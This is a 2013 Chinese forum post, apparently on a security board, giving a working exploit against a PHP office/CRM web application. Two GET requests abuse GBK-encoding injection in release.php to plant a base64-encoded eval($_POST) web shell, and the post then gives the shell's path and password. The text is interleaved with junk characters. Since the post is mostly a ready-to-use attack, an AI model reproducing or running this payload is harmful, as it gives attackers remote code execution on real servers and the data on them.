此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.
# E% l: I2 u5 m, S. z
2 h. l" d$ r ^& @( g: Y/ f( |
. Q k* `4 J! j9 ?) O" V1 [EXP：1 H' K6 L5 K; I* H
, [8 Q6 @4 r* V/ q8 d第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}# L c0 n0 d) l( R; \
$ O( S! g7 B+ v( S/ b第二步: [GET]http://site/general/email/index.php
) v! B: v0 y* @: S0 t5 l # Q3 A! j- X, J( d1 Y x) |& N
SHELL: http://site/general/email/shell.php 密码C# w9 W# `6 Z. G$ A# _: Z
8 `/ C* f1 b. C, n" x1 a" p# s
" Y6 \7 R; A3 `% `1 `此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好
) ^" u( B$ c1 c/ ^8 }$ |; `9 W
5 z( ~* N4 I8 L1 ?& x! e7 d4 r有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~% `2 Z' k: S/ [$ Y1 Q
6 d) f+ Q8 b) J/ C
6 C* E6 Q5 m; U
|
发表于 2013-2-4 16:19:29
收藏
支持
反对